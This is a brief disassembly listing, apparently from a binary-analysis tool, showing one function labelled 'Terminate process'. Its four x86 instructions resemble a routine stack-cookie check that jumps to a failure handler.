Function at 0x52ad34
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5a42e4]
jne 0x52ad3e
repz ret
jmp fcn.00531264